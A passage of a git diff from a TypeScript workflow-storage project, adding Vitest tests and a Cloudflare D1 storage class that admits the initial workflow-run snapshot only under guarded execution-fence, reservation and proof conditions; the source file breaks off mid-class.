expect(h.rows()).toHaveLength(1); + expect(h.effects()).toBe(0); + }); + + it('preserves all-zero evidence when required readback becomes corrupt or disappears', async () => { + for (const change of [ + "UPDATE flowsafe_start_idempotency SET thread_id = 'unexpected'", + 'DROP TABLE mastra_workflow_snapshot', + 'DROP TABLE flowsafe_start_idempotency', + ]) { + const h = await fixture({ keyed: true, state: 'draining' }); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + const result = await batch(statements); + h.sql.exec(change); + return result; + }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(true); + } + }); + + it.each([ + false, + true, + ])('converges only exact initial response-loss evidence (keyed=%s)', async (keyed) => { + const h = await fixture({ keyed, state: 'proof-only' }); + const batch = h.db.batch.bind(h.db); + const calls = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + await batch(statements); + throw new Error('response lost'); + }); + expect((await h.admit()).witness.execution).toEqual(h.input.execution); + expect(calls).toHaveBeenCalledTimes(2); + expect(h.rows()).toHaveLength(1); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'workflow_name', + 'run_id', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + 'reservation', + 'proof', + ])('does not converge response loss after %s evidence changes', async (field) => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const lost = new Error('original lost response'); + const batch = h.db.batch.bind(h.db); + const calls = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + await batch(statements); + if (field === 'reservation') + h.sql.exec('DELETE FROM flowsafe_start_idempotency'); + else if (field === 'proof') + h.sql.exec( + 'UPDATE flowsafe_execution_fence SET proof_run_id = NULL, proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL', + ); + else + h.sql + .prepare(`UPDATE mastra_workflow_snapshot SET "${field}" = ?`) + .run( + field === 'snapshot' + ? `${(h.rows()[0] as { snapshot: string }).snapshot} ` + : 'changed', + ); + throw lost; + }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toMatchObject({ status: 503, cause: lost }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(calls).toHaveBeenCalledTimes(2); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'sparse', + 'failed', + 'count', + 'missing-row', + 'wrong-row', + ])('never repairs malformed returned %s envelopes through readback', async (mode) => { + const h = await fixture(); + const batch = h.db.batch.bind(h.db); + const calls = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + const result = (await batch(statements)) as Array<{ + success: boolean; + results: Array>; + meta: { changes: number }; + }>; + if (mode === 'sparse') return new Array(2); + const initial = result[0]; + if (!initial) throw new Error('missing actual initial result'); + if (mode === 'failed') initial.success = false; + if (mode === 'count') initial.meta.changes = 0; + if (mode === 'missing-row') initial.results = []; + if (mode === 'wrong-row') + initial.results[0] = { ...initial.results[0], snapshot: '{}' }; + return result; + }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(calls).toHaveBeenCalledTimes(1); + expect(h.rows()).toHaveLength(1); + }); + it.each([ + false, + true, + ])('chains snapshot reservation and proof RETURNING outcomes atomically (keyed=%s)', async (keyed) => { + for (const state of ['open', 'proof-only'] as const) { + const h = await fixture({ keyed, state, prefix: 'Tenant_' }); + const { witness, value } = await h.admit(); + expect(witness.execution).toEqual(h.input.execution); + expect(h.effects()).toBe(0); + expect(h.onInitialWriteAttempt).toHaveBeenCalledTimes(1); + expect( + JSON.parse(witness.row.snapshot).requestContext[PROVENANCE] + .initialAdmission, + ).toBe(true); + expect((await h.fence.read()).proofExecution).toEqual( + state === 'proof-only' ? h.input.execution : undefined, + ); + if (keyed) + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding, + ).toEqual({ kind: 'bound', execution: h.input.execution }); + else + expect( + h.sql + .prepare( + "SELECT name FROM sqlite_master WHERE name = 'flowsafe_start_idempotency'", + ) + .all(), + ).toEqual([]); + await value.start({ + inputData: {}, + requestContext: new RequestContext( + Object.entries(h.input.requestContext), + ), + }); + expect(h.effects()).toBe(1); + const stored = await h.capability.readSnapshot(h.input.execution); + expect( + JSON.parse(stored?.snapshot ?? '').requestContext[PROVENANCE] + .initialAdmission, + ).toBeUndefined(); + } + }); + + it('serializes the exact pinned initial six-field record', async () => { + const h = await fixture(); + vi.spyOn(Date, 'now').mockReturnValue(1234567890123); + const { witness } = await direct(h, { + createdAt: new Date('2020-01-02T03:04:05.000Z'), + resourceId: undefined, + }); + expect(witness.row.createdAt).toBe('2020-01-02T03:04:05.000Z'); + expect(witness.row.updatedAt).toBe('2009-02-13T23:31:30.123Z'); + expect(witness.row.resourceId).toBeNull(); + expect( + h.sql + .prepare( + 'SELECT typeof(createdAt) AS created, typeof(updatedAt) AS updated FROM mastra_workflow_snapshot', + ) + .get(), + ).toEqual({ created: 'text', updated: 'text' }); + expect(Object.keys(h.rows()[0] as object)).toEqual([ + 'workflow_name', + 'run_id', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ]); + expect(JSON.parse(witness.row.snapshot).requestContext.app).toEqual({ + text: 'λ', + nullable: null, + }); + }); + + it('stamps trusted context after pruning and refuses serialization authority changes', async () => { + const h = await fixture({ + prune: ({ snapshot }) => ({ + ...snapshot, + requestContext: { [PROVENANCE]: { version: 99 } }, + }), + }); + expect( + JSON.parse((await h.admit()).witness.row.snapshot).requestContext[ + PROVENANCE + ].version, + ).toBe(2); + for (const mutate of ['generation', 'runId', 'workflowScope', 'active']) { + const candidate = await fixture(); + const snapshot = { + ...pending(), + toJSON() { + const requestContext = { + ...structuredClone(candidate.input.requestContext), + }; + if (mutate === 'generation') + (requestContext[PROVENANCE] as { startToken: string }).startToken = + 'foreign'; + if (mutate === 'runId') requestContext.runId = 'foreign'; + if (mutate === 'workflowScope') + requestContext['breakwater.workflowScope'] = 'foreign'; + return { + ...pending(), + requestContext, + ...(mutate === 'active' ? { activePaths: [0] } : {}), + }; + }, + }; + const batch = vi.spyOn(candidate.db, 'batch'); + const error = await direct(candidate, { snapshot }).catch( + (error: unknown) => error, + ); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + expect(batch).not.toHaveBeenCalled(); + expect( + isDefinitiveInitialAdmissionRefusal(error, candidate.input.execution), + ).toBe(false); + } + }); + + it.each([ + 'draining', + 'migration-locked', + 'proof-only', + ] as const)('refuses %s without any snapshot or participant changes', async (state) => { + const h = await fixture({ keyed: true, state }); + const before = h.sql + .prepare('SELECT * FROM flowsafe_execution_fence') + .get(); + const error = await h + .admit({ ...h.input, proof: undefined }) + .catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCED', state }, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + true, + ); + expect(h.rows()).toEqual([]); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind, + ).toBe('unbound'); + expect( + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').get(), + ).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it('requires a positive witness from the matching Core initial write', async () => { + const h = await fixture({ persist: false }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(h.onInitialWriteAttempt).not.toHaveBeenCalled(); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(h.effects()).toBe(0); + const cached = await fixture(); + await cached.admit(); + await expect(cached.admit()).rejects.toThrow('no persistence witness'); + }); + + it('latches repeated mismatched and nested writes even when swallowed', async () => { + for (const kind of ['repeat', 'mismatch', 'nested']) { + const h = await fixture(); + const error = await h.capability + .withInitialAdmission(h.input, async () => { + await h.domain.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: pending(), + }); + try { + if (kind === 'nested') + await h.capability.withInitialAdmission( + h.input, + async () => undefined, + ); + else + await h.domain.persistWorkflowSnapshot({ + workflowName: kind === 'repeat' ? 'workflow' : 'foreign', + runId: 'run', + snapshot: pending(), + }); + } catch { + /* Deliberately swallowed to exercise the scope latch. */ + } + }) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(false); + expect(h.rows()).toHaveLength(1); + } + }); + + it('captures callbacks as plain functions without consulting their call properties', async () => { + const h = await fixture(); + let receiver: unknown = 'uninvoked'; + const hook = Object.assign( + function (this: unknown) { + receiver = this; + }, + { + call: () => { + throw new Error('shadowed call'); + }, + }, + ); + const create = Object.assign(() => h.workflow.createRun({ runId: 'run' }), { + call: () => { + throw new Error('shadowed call'); + }, + }); + await h.capability.withInitialAdmission( + { ...h.input, onInitialWriteAttempt: hook }, + create, + ); + expect(receiver).toBeUndefined(); + }); +}); diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts new file mode 100644 index 00000000..edb69dd6 --- /dev/null +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts @@ -0,0 +1,1012 @@ +// SPDX-License-Identifier: Apache-2.0 +/// + +import { AsyncLocalStorage } from 'node:async_hooks'; +import { type D1DomainConfig, WorkflowsStorageD1 } from '@mastra/cloudflare-d1'; +import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol'; +import { + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal-identity.js'; +import { DoStatusError } from './do-status-error.js'; +import { + assertMutationEpoch, + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + InvalidExecutionIdentityError, + normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeStartIdentity, + type ProofEntryExpectation, + RunAdmissionConflictError, +} from './execution-admission.js'; +import { + admitsRunStart, + decodeExecutionFenceAdmissionRow, + type ExecutionFenceAdmissionObservation, + ExecutionFencedError, + validateExecutionFenceAdmissionSchema, +} from './execution-fence.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, + type InitialAdmissionDatabase, + type InitialAdmissionWitness, + type InitialRunAdmission, +} from './fenced-workflow-capability.js'; +import { definitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; +import { isPathSafeId } from './path-safe-id.js'; +import { decodeInitialRunProvenance } from './run-provenance.js'; +import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; +import { + decodeStartReservationAdmissionResult, + START_IDEMPOTENCY_TABLE, + StartReservationOwnerMismatchError, + type StartReservationReading, + StartReservationTargetMismatchError, + validateStartReservationAdmissionSchema, +} from './start-idempotency.js'; +import { validateTablePrefix } from './table-prefix.js'; +import { + decodeRawWorkflowSnapshotResult, + prepareRawWorkflowSnapshotRead, + type RawWorkflowSnapshot, + readRawWorkflowSnapshot, + type SnapshotStatement, + snapshotResultRows, +} from './workflow-snapshot-row.js'; + +const PROVENANCE = 'flowsafe.runProvenance'; +type PersistInput = Parameters< + WorkflowsStorageD1['persistWorkflowSnapshot'] +>[0]; +interface AdmissionScope { + readonly input: InitialRunAdmission; + open: boolean; + attempted: boolean; + witness?: InitialAdmissionWitness; + failure?: unknown; + failed: boolean; +} + +/** @internal Match the pinned standalone resolver's property-presence precedence. */ +export function captureD1DomainConfig(config: D1DomainConfig): D1DomainConfig { + if ('client' in config) { + const client = config.client; + const tablePrefix = validateTablePrefix(config.tablePrefix); + return { client, tablePrefix }; + } + if ('binding' in config) { + const binding = config.binding; + const tablePrefix = validateTablePrefix(config.tablePrefix); + return { binding, tablePrefix }; + } + const { accountId, apiToken, databaseId, tablePrefix } = config; + return { + accountId, + apiToken, + databaseId, + tablePrefix: validateTablePrefix(tablePrefix), + }; +} + +function admissionDatabase(value: unknown): value is InitialAdmissionDatabase { + return ( + value !== null && + typeof value === 'object' && + 'prepare' in value && + typeof value.prepare === 'function' && + 'batch' in value && + typeof value.batch === 'function' + ); +} + +function record(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new InvalidExecutionIdentityError('admission'); + return value as Record; +} + +function assertInitialSnapshot(value: unknown, runId: string): void { + const snapshot = record(value); + if ( + snapshot.status !== 'pending' || + snapshot.runId !== runId || + !Array.isArray(snapshot.activePaths) || + snapshot.activePaths.length !== 0 + ) + throw new InvalidExecutionIdentityError('admission'); + for (const field of [ + 'activeStepsPath', + 'suspendedPaths', + 'waitingPaths', + 'resumeLabels', + ]) { + if (Object.keys(record(snapshot[field])).length !== 0) + throw new InvalidExecutionIdentityError('admission'); + } +} + +function captureReservation( + value: StartReservationReading, +): StartReservationReading { + const { + key, + owner, + targetKind, + targetId, + runId, + threadId, + state, + createdAt, + updatedAt, + binding, + } = record(value); + const identity = normalizeStartIdentity({ + owner, + target: { kind: targetKind, id: targetId, threadId }, + }); + if ( + record(binding).kind !== 'unbound' || + state !== 'started' || + !isPathSafeId(key) || + !isPathSafeId(runId) || + typeof createdAt !== 'number' || + !Number.isFinite(createdAt) || + typeof updatedAt !== 'number' || + !Number.isFinite(updatedAt) + ) + throw new InvalidExecutionIdentityError('admission'); + return Object.freeze({ + key, + runId, + owner: identity.owner, + targetKind: identity.target.kind, + targetId: identity.target.id, + ...(identity.target.kind === 'agent' + ? { threadId: identity.target.threadId } + : {}), + state, + createdAt, + updatedAt, + binding: Object.freeze({ kind: 'unbound' as const }), + }); +} + +function captureInitialProvenance(value: unknown) { + const { + version, + startToken, + attemptToken, + requestedBy, + requestedByKind, + resumeCounts, + mutationEpoch, + startIdentity: rawIdentity, + agentStart: rawAgent, + initialAdmission, + } = record(value); + if (!Array.isArray(resumeCounts) || resumeCounts.length !== 0) + throw new InvalidExecutionIdentityError('admission'); + const startIdentity = + rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity); + const agentStart = + rawAgent === undefined + ? undefined + : { threaded: record(rawAgent).threaded }; + // Caller accessors run before the stored-data decoder's error translation. + const captured = { + version, + startToken, + attemptToken, + requestedBy, + requestedByKind, + resumeCounts: [], + mutationEpoch, + startIdentity, + agentStart, + initialAdmission, + }; + try { + return decodeInitialRunProvenance(captured, 'absent'); + } catch { + throw new InvalidExecutionIdentityError('admission'); + } +} + +function captureAdmission(source: InitialRunAdmission): InitialRunAdmission { + record(source); + const { + execution: rawExecution, + attemptToken, + mutationEpoch: rawEpoch, + startIdentity: rawIdentity, + requestContext, + fence, + reservationStore, + reservation: rawReservation, + proof: rawProof, + runOwnerGuard: rawGuard, + onInitialWriteAttempt, + } = source; + record(requestContext); + const fenceMethods = record(fence); + if ( + !['usesDatabase', 'seed', 'readForAdmission'].every( + (method) => typeof fenceMethods[method] === 'function', + ) + ) + throw new InvalidExecutionIdentityError('admission'); + if (reservationStore !== undefined) { + const methods = record(reservationStore); + if ( + !['usesDatabase', 'readForAdmission'].every( + (method) => typeof methods[method] === 'function', + ) + ) + throw new InvalidExecutionIdentityError('admission'); + } + if (rawProof !== undefined) record(rawProof); + if (rawGuard !== undefined) record(rawGuard); + const execution = normalizeD1RunExecutionIdentity(rawExecution); + const mutationEpoch = normalizeMutationEpoch(rawEpoch); + const startIdentity = + rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity); + if ( + !isPathSafeId(attemptToken) || + typeof onInitialWriteAttempt !== 'function' || + (reservationStore === undefined) !== (rawReservation === undefined) + ) + throw new InvalidExecutionIdentityError('admission'); + const reservation = + rawReservation === undefined + ? undefined + : captureReservation(rawReservation); + if (reservation) { + if (!startIdentity) throw new InvalidExecutionIdentityError('admission'); + if ( + reservation.owner.kind !== startIdentity.owner.kind || + reservation.owner.id !== startIdentity.owner.id + ) + throw new StartReservationOwnerMismatchError(reservation.key); + if ( + reservation.targetKind !== startIdentity.target.kind || + reservation.targetId !== startIdentity.target.id + ) + throw new StartReservationTargetMismatchError( + reservation.key, + reservation, + ); + if ( + reservation.runId !== execution.runId || + reservation.threadId !== + (startIdentity.target.kind === 'agent' + ? startIdentity.target.threadId + : undefined) + ) + throw new InvalidExecutionIdentityError('admission'); + } + if ( + startIdentity?.target.kind === 'workflow' && + startIdentity.target.id !== execution.workflowId + ) + throw new InvalidExecutionIdentityError('admission'); + let proof: ProofEntryExpectation | undefined; + if (rawProof !== undefined) { + const { + key, + mutationEpoch: suppliedEpoch, + transitionRevision: suppliedRevision, + } = rawProof; + const proofEpoch = normalizeMutationEpoch(suppliedEpoch); + const transitionRevision = normalizeMutationEpoch(suppliedRevision); + if ( + !isPathSafeId(key) || + proofEpoch === undefined || + transitionRevision === undefined || + (reservation && key !== reservation.key) + ) + throw new InvalidExecutionIdentityError('admission'); + proof = Object.freeze({ + key, + mutationEpoch: proofEpoch, + transitionRevision, + }); + } + const runOwnerGuard = + rawGuard === undefined + ? undefined + : Object.freeze({ + owner: normalizeStartIdentity({ + owner: rawGuard.owner, + target: { kind: 'workflow', id: execution.workflowId }, + }).owner, + reservationToken: rawGuard.reservationToken, + }); + if (runOwnerGuard && runOwnerGuard.reservationToken !== attemptToken) + throw new InvalidExecutionIdentityError('admission'); + const { [PROVENANCE]: rawProvenance, ...application } = requestContext; + const provenance = captureInitialProvenance(rawProvenance); + if ( + provenance.startToken !== execution.startToken || + provenance.attemptToken !== attemptToken || + provenance.mutationEpoch !== mutationEpoch || + JSON.stringify(provenance.startIdentity) !== JSON.stringify(startIdentity) + ) + throw new InvalidExecutionIdentityError('admission'); + const contextRunId = application.runId; + const contextWorkflow = application['breakwater.workflowScope']; + if ( + (contextRunId !== undefined && contextRunId !== execution.runId) || + (contextWorkflow !== undefined && contextWorkflow !== execution.workflowId) + ) + throw new InvalidExecutionIdentityError('admission'); + const context = record(JSON.parse(JSON.stringify(application))); + if ( + context.runId !== contextRunId || + context['breakwater.workflowScope'] !== contextWorkflow + ) + throw new InvalidExecutionIdentityError('admission'); + return Object.freeze({ + execution, + attemptToken, + mutationEpoch, + startIdentity, + requestContext: Object.freeze({ ...context, [PROVENANCE]: provenance }), + fence, + reservationStore, + reservation, + proof, + runOwnerGuard, + onInitialWriteAttempt, + }); +} + +function sameReservation( + actual: StartReservationReading | undefined, + expected: StartReservationReading, + execution?: D1RunExecutionIdentity, +): boolean { + return ( + actual !== undefined && + actual.key === expected.key && + actual.runId === expected.runId && + actual.owner.kind === expected.owner.kind && + actual.owner.id === expected.owner.id && + actual.targetKind === expected.targetKind && + actual.targetId === expected.targetId && + actual.threadId === expected.threadId && + actual.state === expected.state && + actual.createdAt === expected.createdAt && + actual.updatedAt === expected.updatedAt && + (execution === undefined + ? actual.binding.kind === expected.binding.kind + : actual.binding.kind === 'bound' && + sameFields({ ...actual.binding.execution }, { ...execution })) + ); +} + +function sameFields( + actual: Record, + expected: Record, +): boolean { + return Object.keys(expected).every( + (key) => Object.hasOwn(actual, key) && actual[key] === expected[key], + ); +} + +function reservationPredicate( + reservation: StartReservationReading, + bind: (value: unknown) => string, + qualifier = '', + runReference?: string, +): string { + return `${qualifier}key = ${bind(reservation.key)} AND ${qualifier}run_id = ${runReference ?? bind(reservation.runId)} + AND ${qualifier}owner_kind = ${bind(reservation.owner.kind)} AND ${qualifier}owner_id = ${bind(reservation.owner.id)} + AND ${qualifier}target_kind = ${bind(reservation.targetKind)} AND ${qualifier}target_id = ${bind(reservation.targetId)} AND ${qualifier}thread_id IS ${bind(reservation.threadId ?? null)} + AND ${qualifier}created_at = ${bind(reservation.createdAt)} AND ${qualifier}updated_at = ${bind(reservation.updatedAt)} AND ${qualifier}state = 'started' + AND ${qualifier}start_token = '' AND ${qualifier}start_table_prefix IS NULL AND ${qualifier}start_workflow_id IS NULL`; +} + +function captureBatchResults(value: unknown, length: number) { + if (!Array.isArray(value) || value.length !== length) + throw new Error('initial batch cardinality is invalid'); + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(value, index)) + throw new Error('initial batch is missing a result'); + const result = value[index]; + const results = snapshotResultRows(result).map((row) => + Object.freeze( + Object.fromEntries( + Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), + ), + ), + ); + const meta = record(result).meta; + const hasChanges = meta !== undefined && 'changes' in record(meta); + return { + results, + ...(hasChanges ? { meta: { changes: record(meta).changes } } : {}), + }; + }); +} + +/** Owned initial INSERT only; all unscoped persistence delegates to the adapter. */ +export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { + readonly [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability; + readonly #admission?: FencedWorkflowAdmissionCapability; + readonly #scopes = new AsyncLocalStorage(); + + constructor(config: D1DomainConfig) { + const captured = captureD1DomainConfig(config); + super(captured); + if ('binding' in captured && admissionDatabase(captured.binding)) { + const database = captured.binding; + const tablePrefix = (captured.tablePrefix ?? '').toLowerCase(); + this.#admission = Object.freeze({ + database, + tablePrefix, + withInitialAdmission: ( + input: InitialRunAdmission, + createRun: () => Promise, + ) => this.#withInitialAdmission(input, createRun), + readSnapshot: (address: { workflowId: string; runId: string }) => + readRawWorkflowSnapshot( + database, + { + tablePrefix, + workflowId: address.workflowId, + runId: address.runId, + }, + { missingTable: 'empty' }, + ), + }); + this[FENCED_WORKFLOW_STORAGE] = this.#admission; + } + } + + async #withInitialAdmission( + source: InitialRunAdmission, + createRun: () => Promise, + ): Promise<{ value: T; witness: InitialAdmissionWitness }> { + const parent = this.#scopes.getStore(); + if (parent) { + parent.failed = true; + parent.failure = new InvalidExecutionIdentityError('admission'); + throw parent.failure; + } + const input = captureAdmission(source); + const capability = this.#admission; + if ( + !capability || + typeof createRun !== 'function' || + input.execution.tablePrefix !== capability.tablePrefix || + !input.fence.usesDatabase(capability.database) || + (input.reservationStore && + !input.reservationStore.usesDatabase(capability.database)) + ) + throw new InvalidExecutionIdentityError('admission'); + const scope: AdmissionScope = { + input, + open: true, + attempted: false, + failed: false, + }; + try { + return await this.#scopes.run(scope, async () => { + const value = await Reflect.apply(createRun, undefined, []); + if (scope.failed) throw scope.failure; + if (!scope.witness) { + throw new ExecutionFenceUnreadableError( + 'initial run admission has no persistence witness', + ); + } + return { value, witness: scope.witness }; + }); + } finally { + scope.open = false; + } + } + + override async persistWorkflowSnapshot(args: PersistInput): Promise { + const scope = this.#scopes.getStore(); + if (!scope) return super.persistWorkflowSnapshot(args); + if ( + !scope.open || + scope.attempted || + args.workflowName !== scope.input.execution.workflowId || + args.runId !== scope.input.execution.runId + ) { + scope.failed = true; + scope.failure = new InvalidExecutionIdentityError('admission'); + throw scope.failure; + } + scope.attempted = true; + try { + Reflect.apply(scope.input.onInitialWriteAttempt, undefined, []); + const { row, nowMs } = this.#initialRow(args, scope.input); + scope.witness = await this.#insert(scope.input, row, nowMs); + } catch (error) { + scope.failed = true; + scope.failure = error; + throw error; + } + } + + #initialRow( + args: PersistInput, + input: InitialRunAdmission, + ): { row: RawWorkflowSnapshot; nowMs: number } { + const { snapshot: original, resourceId, createdAt, updatedAt } = args; + const snapshot = { ...original }; + assertInitialSnapshot(snapshot, input.execution.runId); + const provenance = decodeInitialRunProvenance( + { ...record(input.requestContext[PROVENANCE]), initialAdmission: true }, + 'present', + ); + snapshot.requestContext = { + ...input.requestContext, + [PROVENANCE]: provenance, + }; + const nowMs = Date.now(); + if (!Number.isSafeInteger(nowMs) || nowMs < 0) + throw new InvalidExecutionIdentityError('admission'); + const nowIso = new Date(nowMs).toISOString(); + const resource: unknown = resourceId; + const serializedResource = + resource == null + ? null + : resource instanceof Date + ? resource.toISOString() + : typeof resource === 'object' + ? JSON.stringify(resource) + : resource; + if (serializedResource !== null && typeof serializedResource !== 'string') + throw new InvalidExecutionIdentityError('admission'); + const contextBytes = JSON.stringify(snapshot.requestContext); + const bytes = JSON.stringify(snapshot); + const serialized = record(JSON.parse(bytes)); + assertInitialSnapshot(serialized, input.execution.runId); + if ( + serialized.status !== 'pending' || + serialized.runId !== input.execution.runId || + JSON.stringify(serialized.requestContext) !== contextBytes + ) + throw new InvalidExecutionIdentityError('admission'); + const serializedContext = record(serialized.requestContext); + decodeInitialRunProvenance(serializedContext[PROVENANCE], 'present'); + if ( + (serializedContext.runId !== undefined && + serializedContext.runId !== input.execution.runId) || + (serializedContext['breakwater.workflowScope'] !== undefined && + serializedContext['breakwater.workflowScope'] !== + input.execution.workflowId) + ) + throw new InvalidExecutionIdentityError('admission'); + const created = createdAt ? createdAt.toISOString() : nowIso; + const updated = updatedAt ? updatedAt.toISOString() : nowIso; + if (typeof created !== 'string' || typeof updated !== 'string') + throw new InvalidExecutionIdentityError('admission'); + const row: RawWorkflowSnapshot = Object.freeze({ + tablePrefix: input.execution.tablePrefix, + workflowId: input.execution.workflowId, + runId: input.execution.runId, + resourceId: serializedResource, + snapshot: bytes, + createdAt: created, + updatedAt: updated, + }); + return { row, nowMs }; + } + + async #insert( + input: InitialRunAdmission, + row: RawWorkflowSnapshot, + nowMs: number, + ): Promise { + const capability = this.#admission; + if (!capability) throw new InvalidExecutionIdentityError('admission'); + const { database } = capability; + await input.fence.seed('open'); + const observed = await input.fence.readForAdmission(); + if ( + input.reservation && + !sameReservation( + await input.reservationStore?.readForAdmission(input.reservation.key), + input.reservation, + ) + ) + throw new RunAdmissionConflictError('reservation-changed'); + const values: unknown[] = []; + const bind = (value: unknown) => { + values.push(value); + return `?${values.length}`; + }; + const fields = [ + row.workflowId, + row.runId, + row.resourceId, + row.snapshot, + row.createdAt, + row.updatedAt, + ].map(bind); + const epoch = bind(input.mutationEpoch ?? null); + const fence = observed.raw; + const semantic = [ + 'state', + 'mutation_epoch', + 'require_mutation_epoch', + 'transition_revision', + 'last_transition_request', + 'proof_key', + 'proof_run_id', + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ].map((key) => bind(fence[key])); + const proofRevision = bind(input.proof?.transitionRevision ?? null); + const proofKey = bind(input.proof?.key ?? null); + const reservation = input.reservation + ? `AND EXISTS (SELECT 1 FROM ${START_IDEMPOTENCY_TABLE} AS r WHERE ${reservationPredicate(input.reservation, bind, 'r.', fields[1])})` + : ''; + const proofEpoch = bind(input.proof?.mutationEpoch ?? null); + const owner = input.runOwnerGuard + ? `AND EXISTS (SELECT 1 FROM ${RESOURCE_OWNER_TABLE} AS o WHERE o.resource_kind = 'run' AND o.resource_id = ${fields[1]} + AND o.owner_kind = ${bind(input.runOwnerGuard.owner.kind)} AND o.owner_id = ${bind(input.runOwnerGuard.owner.id)} + AND (o.reservation_token IS NULL OR o.reservation_token = ${bind(input.runOwnerGuard.reservationToken)}))` + : ''; + const statements = [ + database + .prepare(`INSERT INTO "${row.tablePrefix}mastra_workflow_snapshot" + (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt) + SELECT ${fields.join(', ')} + WHERE EXISTS ( + SELECT 1 FROM ${EXECUTION_FENCE_TABLE} AS f + WHERE f.id = 'deployment' AND f.state = ${semantic[0]} + AND f.mutation_epoch = ${semantic[1]} AND f.require_mutation_epoch = ${semantic[2]} + AND f.transition_revision = ${semantic[3]} AND f.last_transition_request IS ${semantic[4]} + AND f.proof_key IS ${semantic[5]} AND f.proof_run_id IS ${semantic[6]} + AND f.proof_table_prefix IS ${semantic[7]} AND f.proof_workflow_id IS ${semantic[8]} AND f.proof_start_token IS ${semantic[9]} + AND (f.require_mutation_epoch = 0 OR f.mutation_epoch = ${epoch}) + AND (f.state = 'open' OR (f.state = 'proof-only' AND f.proof_key = ${proofKey} + AND f.transition_revision = ${proofRevision} AND f.mutation_epoch = ${proofEpoch} + AND f.proof_run_id IS NULL AND f.proof_table_prefix IS NULL AND f.proof_workflow_id IS NULL AND f.proof_start_token IS NULL)) + ) ${reservation} ${owner} + ON CONFLICT (workflow_name, run_id) DO NOTHING + RETURNING workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt`) + .bind(...values), + ]; + if (input.reservation) { + const keyValues: unknown[] = [ + input.execution.startToken, + row.tablePrefix, + row.workflowId, + ]; + const predicate = reservationPredicate(input.reservation, (value) => { + keyValues.push(value); + return `?${keyValues.length}`; + }); + statements.push( + database + .prepare(`UPDATE ${START_IDEMPOTENCY_TABLE} + SET start_token = ?1, start_table_prefix = ?2, start_workflow_id = ?3 + WHERE changes() = 1 AND ${predicate} RETURNING *`) + .bind(...keyValues), + ); + } + statements.push( + database + .prepare(`UPDATE ${EXECUTION_FENCE_TABLE} + SET proof_run_id = ?1, proof_table_prefix = ?2, proof_workflow_id = ?3, proof_start_token = ?4, updated_at = ?5 + WHERE changes() = 1 AND id = 'deployment' AND state = 'proof-only' AND proof_key = ?6 + AND mutation_epoch = ?7 AND transition_revision = ?8 + AND proof_run_id IS NULL AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL RETURNING *`) + .bind( + row.runId, + row.tablePrefix, + row.workflowId, + input.execution.startToken, + nowMs, + input.proof?.key ?? null, + input.proof?.mutationEpoch ?? null, + input.proof?.transitionRevision ?? null, + ), + ); + let result: unknown; + try { + result = await database.batch(statements); + } catch (error) { + try { + if (await this.#converged(database, input, row, observed, nowMs)) + return Object.freeze({ execution: input.execution, row }); + } catch { + /* The write failure remains the cause of an uncertain outcome. */ + } + throw new ExecutionFenceUnreadableError( + 'initial run admission outcome is not readable', + { cause: error }, + ); + } + const positive = this.#decodeBatch(result, input, row, observed, nowMs); + if (positive) return Object.freeze({ execution: input.execution, row }); + const refusal = await this.#diagnoseZero(database, input, observed); + throw definitiveInitialAdmissionRefusal(input.execution, refusal); + } + + #decodeBatch( + result: unknown, + input: 